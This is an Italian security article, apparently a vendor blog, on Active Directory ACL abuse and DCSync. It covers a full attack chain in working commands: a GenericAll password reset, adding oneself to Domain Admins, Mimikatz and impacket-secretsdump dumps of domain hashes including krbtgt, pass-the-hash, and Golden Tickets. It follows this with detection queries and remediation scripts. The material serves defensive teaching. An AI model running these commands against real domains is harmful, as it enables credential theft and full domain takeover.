Abuso ACL e DCSync: Percorsi verso Domain Admin

Cos'è l'Abuso ACL e DCSync in Active Directory?

Abuso ACL e DCSync si basa su permessi legittimi di Active Directory concessi in modo troppo ampio. Gli oggetti di Active Directory — utenti, gruppi, computer, OU e GPO — hanno tutti Access Control List (ACL) che definiscono chi può leggerli, modificarli o controllarli. Quando queste ACL sono configurate male, creano percorsi silenziosi di escalation dei privilegi che aggirano i confini di sicurezza tradizionali.

I due schemi ACL più critici sono il controllo completo dell'oggetto, come GenericAll, e i diritti di replica sul naming context del dominio, che permettono a un attaccante di impersonare un client di replica. Entrambi possono essere detenuti da account che non hanno alcuna ragione legittima di possederli, ed entrambi possono portare direttamente alla compromissione del dominio.

A differenza di un exploit software, l'abuso di ACL non dipende da una CVE o da una patch mancante: l'attaccante abusa di un accesso che AD gli concede già. Proprio per questo questi percorsi sono pericolosi: sono facili da perdere in un programma di sicurezza incentrato sulle vulnerabilità e spesso sopravvivono intatti ai cicli di patching.

Come Funziona

Ogni oggetto AD ha un Security Descriptor contenente una Discretionary ACL (DACL). Ogni voce della DACL è una Access Control Entry (ACE) che concede o nega diritti specifici a un principal di sicurezza.

Tipi di ACE Pericolose Comuni

L'Attacco DCSync

Il DCSync abusa del protocollo di replica legittimo di AD anziché dell'esecuzione di codice su un controller di dominio. I controller di dominio replicano i dati tramite il servizio di replica della directory, e gli stessi diritti di controllo dell'accesso possono essere delegati ad altri principal di sicurezza sulla radice del naming context di dominio.

In pratica, i diritti più rilevanti sono:

• DS-Replication-Get-Changes
• DS-Replication-Get-Changes-All
• in alcuni ambienti, DS-Replication-Get-Changes-In-Filtered-Set

Microsoft documenta DS-Replication-Get-Changes-All come il diritto esteso che consente la replica dei dati segreti di dominio. Microsoft documenta anche che le repliche di dominio scrivibili richiedono DS-Replication-Get-Changes, DS-Replication-Get-Changes-All e DS-Replication-Get-Changes-In-Filtered-Set sulla radice del NC di dominio. Per questo una revisione seria dell'esposizione al DCSync deve controllare l'intero set di diritti di replica, non un solo GUID.

Il DCSync non richiede un logon interattivo su un DC e non richiede l'esecuzione di codice sul DC stesso. Può apparire come traffico di replica legittimo se non si controllano attentamente gli accessi alla directory. Tuttavia non è intrinsecamente privo di tracce: con la giusta policy di audit e copertura SACL, i controller di dominio possono generare eventi 4662 per quell'accesso, e le sottocategorie di audit legate alla replica aggiungono ulteriore contesto durante le indagini.

La Catena di Attacco

Passo 1 - Enumerare le ACL Pericolose

# BloodHound - raccoglie i dati AD e mappa l'intero grafo delle ACL
bloodhound-ce-python -u [email protected] -p password \
  -ns 10.10.0.1 -d corp.local -c All --zip

# In BloodHound: eseguire "Find Principals with DCSync Rights"
# E: "Shortest Paths to Domain Admins from Owned Principals"

# Manuale: trovare gli account con diritti di replica sulla radice del dominio
$dcsyncRights = @(
  "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2",  # DS-Replication-Get-Changes
  "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2",  # DS-Replication-Get-Changes-All
  "89e95b76-444d-4c62-991a-0facbeda640c"   # DS-Replication-Get-Changes-In-Filtered-Set
)

$domainDN = (Get-ADDomain).DistinguishedName
$acl = Get-Acl "AD:\$domainDN"
$acl.Access | Where-Object {
  $_.ObjectType -in $dcsyncRights -and
  $_.AccessControlType -eq "Allow" -and
  $_.IdentityReference -notmatch "Domain Controllers|ENTERPRISE DOMAIN CONTROLLERS|Read-only Domain Controllers"
} | Select-Object IdentityReference, ActiveDirectoryRights, ObjectType

Passo 2 - Sfruttare GenericAll su un Utente

# Reimpostare la password dell'admin target usando GenericAll
$secPwd = ConvertTo-SecureString "NuovaPass@1234!" -AsPlainText -Force
Set-ADAccountPassword -Identity "targetadmin" -Reset -NewPassword $secPwd

# Oppure forzare uno SPN Kerberoastable sul target (GenericWrite)
Set-ADUser -Identity "targetadmin" `
  -ServicePrincipalNames @{Add="http/fakeservice"}
# Ora eseguire il Kerberoasting dell'account e crackare l'hash offline

Passo 3 - Sfruttare GenericAll su un Gruppo

# Aggiungersi da soli usando GenericAll sul gruppo
Add-ADGroupMember -Identity "Domain Admins" -Members "attacker"

Passo 4 - Eseguire il DCSync

# Mimikatz DCSync - dump di tutti gli hash
lsadump::dcsync /domain:corp.local /all /csv
lsadump::dcsync /domain:corp.local /user:krbtgt

# Impacket da Linux - nessuna esecuzione di codice richiesta sul DC
impacket-secretsdump -just-dc corp.local/compromised_user:[email protected]

# Pass-the-hash se la password è sconosciuta
impacket-secretsdump -hashes "aad3b435b51404ee:NTLM_HASH" \
  corp.local/[email protected] -just-dc-user krbtgt

Passo 5 - Golden Ticket e Persistenza

Con l'hash KRBTGT ottenuto tramite DCSync, l'attaccante forgia un Golden Ticket — ottenendo accesso Kerberos illimitato a qualsiasi risorsa del dominio finché KRBTGT non viene ruotato due volte.

Rilevamento

Event ID di Windows

Query di Rilevamento SIEM (Elastic KQL)

Rilevamento DCSync - account che esercita diritti di replica su un DC:

event.code: "4662" AND
winlog.event_data.Properties: ("*1131f6ad*" OR "*1131f6aa*" OR "*89e95b76*") AND
NOT winlog.event_data.SubjectUserName: ("*$" OR "MSOL_*" OR "AAD_*") AND
NOT winlog.event_data.SubjectDomainName: "NT AUTHORITY"

Cambio inatteso dell'appartenenza a un gruppo privilegiato:

event.code: ("4728" OR "4732" OR "4756") AND
winlog.event_data.TargetUserName: (
  "Domain Admins" OR "Enterprise Admins" OR "Schema Admins" OR "Backup Operators"
) AND
NOT winlog.event_data.SubjectUserName: ("*admin*" OR "SYSTEM")

Rimedio

1. Rimuovere i Diritti DCSync

$domainDN = (Get-ADDomain).DistinguishedName
$acl = Get-Acl "AD:\$domainDN"

$replicationGuids = @(
  [GUID]"1131f6aa-9c07-11d1-f79f-00c04fc2dcd2",
  [GUID]"1131f6ad-9c07-11d1-f79f-00c04fc2dcd2",
  [GUID]"89e95b76-444d-4c62-991a-0facbeda640c"
)

$acesToRemove = $acl.Access | Where-Object {
  $_.ObjectType -in $replicationGuids -and
  $_.IdentityReference -notmatch "Domain Controllers|ENTERPRISE|Read-only Domain Controllers"
}

foreach ($ace in $acesToRemove) {
  $acl.RemoveAccessRule($ace)
  Write-Host "Diritto di replica rimosso da: $($ace.IdentityReference)"
}
Set-Acl "AD:\$domainDN" $acl

2. Rafforzare AdminSDHolder

L'oggetto AdminSDHolder fornisce il modello di permessi per i gruppi e gli account protetti, e il processo SDProp sul PDC Emulator confronta e riapplica quei permessi ogni 60 minuti per impostazione predefinita:

$adminSDHolderDN = "CN=AdminSDHolder,CN=System,$((Get-ADDomain).DistinguishedName)"
(Get-Acl "AD:\$adminSDHolderDN").Access |
  Where-Object { $_.IdentityReference -notmatch "Domain Admins|Enterprise Admins|SYSTEM" } |
  Format-Table IdentityReference, ActiveDirectoryRights
# Rimuovere qualsiasi voce inattesa trovata

3. Verificare le ACL degli Oggetti Critici

$criticalObjects = @(
  (Get-ADDomain).DistinguishedName,
  "CN=AdminSDHolder,CN=System,$((Get-ADDomain).DistinguishedName)",
  (Get-ADGroup "Domain Admins").DistinguishedName
)

foreach ($obj in $criticalObjects) {
  $acl = Get-Acl "AD:\$obj"
  $dangerous = $acl.Access | Where-Object {
    $_.ActiveDirectoryRights -match "GenericAll|WriteDACL|WriteOwner|GenericWrite" -and
    $_.IdentityReference -notmatch "Domain Admins|Enterprise Admins|SYSTEM|NT AUTHORITY"
  }
  if ($dangerous) {
    Write-Warning "ACE PERICOLOSA su $obj"
    $dangerous | Format-Table IdentityReference, ActiveDirectoryRights
  }
}

4. Abilitare la Policy di Audit Richiesta

# Richiesto per la visibilità dell'evento 4662 quando esistono SACL corrispondenti
auditpol /set /subcategory:"Directory Service Access" /success:enable

# Utile per tracciare le modifiche a oggetti della directory come AdminSDHolder
auditpol /set /subcategory:"Directory Service Changes" /success:enable

Come EtcSec Rileva Questo

EtcSec mappa l'intero grafo delle ACL del tuo ambiente Active Directory e identifica automaticamente i percorsi di permessi pericolosi.

DCSYNC_CAPABLE identifica ogni account non-DC in possesso di diritti di replica sulla radice del dominio, con particolare attenzione ai principal in grado di richiedere dati segreti di dominio.

ACL_GENERICALL segnala gli account con permessi GenericAll su target di alto valore — utenti, gruppi, computer e OU adiacenti all'accesso amministrativo Tier 0.

PATH_ACL_TO_DA identifica catene ACL multi-hop in cui un account con pochi privilegi può raggiungere Domain Admin tramite una sequenza di abusi di ACE — percorsi invisibili senza un'analisi del grafo.

Domande Frequenti

Come scoprono gli attaccanti le configurazioni errate delle ACL? BloodHound è lo strumento di analisi dei grafi più comune per questo problema: raccoglie i dati AD, mappa le relazioni tra oggetti ed evidenzia i percorsi di escalation dei privilegi più brevi. I difensori dovrebbero usare lo stesso approccio prima degli attaccanti.

Qual è la differenza tra DCSync e la compromissione di un Domain Controller? Il DCSync abusa delle interfacce di replica legittime da remoto. L'attaccante non ha bisogno di esecuzione di codice interattiva sul DC se l'account possiede già i diritti di controllo dell'accesso richiesti sul naming context di dominio.

Come ottengono accidentalmente gli account i diritti DCSync? Le fonti più comuni sono gli strumenti di sincronizzazione della directory, le integrazioni di identità legacy, i progetti di backup o migrazione e le modifiche ACL delegate mai riviste. Alcuni di questi account sono legittimi; il problema sorge quando il diritto rimane ampio, non documentato o ereditato oltre quanto previsto.

Priorità di Validazione

L'abuso ACL dovrebbe essere rivisto nello stesso ordine in cui lo sfrutterebbe un operatore: la radice del dominio, AdminSDHolder, i gruppi privilegiati, gli account di servizio ad alto valore, e qualsiasi OU che influenzi i sistemi Tier 0. Valida non solo i diritti diretti GenericAll e di replica, ma anche WriteDACL, WriteOwner, le ACE ereditate e l'appartenenza a gruppi annidati che ricrea silenziosamente lo stesso privilegio attraverso un altro percorso. Una remediation è completa solo quando il permesso visibile, la catena di ereditarietà e il modello di delega che lo ha reintrodotto vengono chiusi tutti insieme.

Percorsi Vicini che Mantengono Vivo il Rischio

Nei domini maturi, le ACL troppo permissive raramente esistono da sole. Di solito si trovano accanto ai Percorsi di Attacco Active Directory verso Domain Admin, a un design dei gruppi fragile, a percorsi GPO scrivibili, o a impostazioni di delega che permettono a un'identità con pochi privilegi di recuperare l'accesso amministrativo tramite un altro oggetto. Per questo la pulizia delle ACL dovrebbe includere una revisione del grafo, non solo un diff dei permessi sul primo oggetto segnalato. Se il tuo team rimuove una ACE ma lascia intatto un gruppo annidato, una OU delegata o una ACL padre ereditata, il percorso pratico verso il DCSync spesso sopravvive. Rivedi l'esposizione circostante con Nidificazione Pericolosa dei Gruppi: Percorsi Nascosti verso Domain Admin, Attacchi alle Trust Active Directory: Dal Dominio Figlio alla Radice della Foresta, Attacchi di Delega Kerberos: Da Non Vincolata all'Abuso RBCD, e Configurazioni Errate GPO: Come la Group Policy Diventa un Vettore di Attacco.

Letture Correlate

• Percorsi di Attacco Active Directory verso Domain Admin
• Nidificazione Pericolosa dei Gruppi: Percorsi Nascosti verso Domain Admin
• Attacchi alle Trust Active Directory: Dal Dominio Figlio alla Radice della Foresta
• Attacchi di Delega Kerberos: Da Non Vincolata all'Abuso RBCD
• Configurazioni Errate GPO: Come la Group Policy Diventa un Vettore di Attacco

Prove da Raccogliere Prima della Remediation

Prima di rimuovere qualsiasi permesso, raccogli l'intera catena di prove che dimostra come funziona il percorso. Esporta le ACE attuali, documenta se i diritti sono ereditati o diretti, identifica l'annidamento di gruppi che concede il privilegio, e mappa quali sistemi o identità Tier 0 diventano raggiungibili una volta sfruttato il permesso. Per il DCSync in particolare, registra se l'account possiede Replicating Directory Changes, Replicating Directory Changes All o Replicating Directory Changes In Filtered Set, e se quei diritti provengono da un gruppo delegato che gli amministratori potrebbero dimenticare di rivedere in seguito. Per l'abuso di ACL in generale, raccogli anche i permessi della OU padre e dei container, perché molte ACE pericolose riappaiono dopo la pulizia quando l'ereditarietà concede ancora il percorso più in alto nell'albero.

La Sequenza di Remediation che Chiude Davvero il Percorso

La sequenza di remediation più efficace inizia rimuovendo il ponte di privilegio, non ripulendo il sintomo visibile in isolamento. Se un gruppo con pochi privilegi raggiunge Domain Admin a causa di un gruppo annidato, una ACL ereditata e un controllo di OU delegato, chiudi tutti e tre gli elementi nella stessa finestra di cambiamento. Riverifica AdminSDHolder, i gruppi protetti e la delega degli account di servizio in modo che lo stesso operatore non possa riottenere il controllo passando a un oggetto vicino. Dopo la modifica dell'ACL, valida tramite analisi del grafo o enumerazione ripetuta che il percorso sia scomparso dal punto di vista dell'attaccante, non solo dalla vista amministrativa su un singolo oggetto. Infine, registra il motivo della modifica della delega e il proprietario del nuovo stato, perché le eccezioni non documentate sono il modo in cui questi diritti tornano silenziosamente dopo la prossima migrazione, acquisizione o richiesta di troubleshooting.

Checklist di Verifica Dopo la Pulizia delle ACL

Una volta distribuita la modifica dei permessi, riesegui la stessa enumerazione o analisi dei percorsi BloodHound che ha dimostrato originariamente il problema. Verifica che l'ACE pericolosa sia scomparsa, che il gruppo che concede il diritto non lo conferisca più tramite annidamento, e che nessun oggetto padre ereditato ricrei lo stesso privilegio al prossimo refresh. Per i risultati DCSync, verifica che l'identità abbia realmente perso i diritti di replica rilevanti sull'intero set che ti interessa, non solo su un GUID. Una breve validazione post-modifica evita il classico modo di fallimento in cui gli amministratori rimuovono l'ACE visibile, dichiarano il successo e poi scoprono che un percorso di delega adiacente ha mantenuto viva la catena di abuso.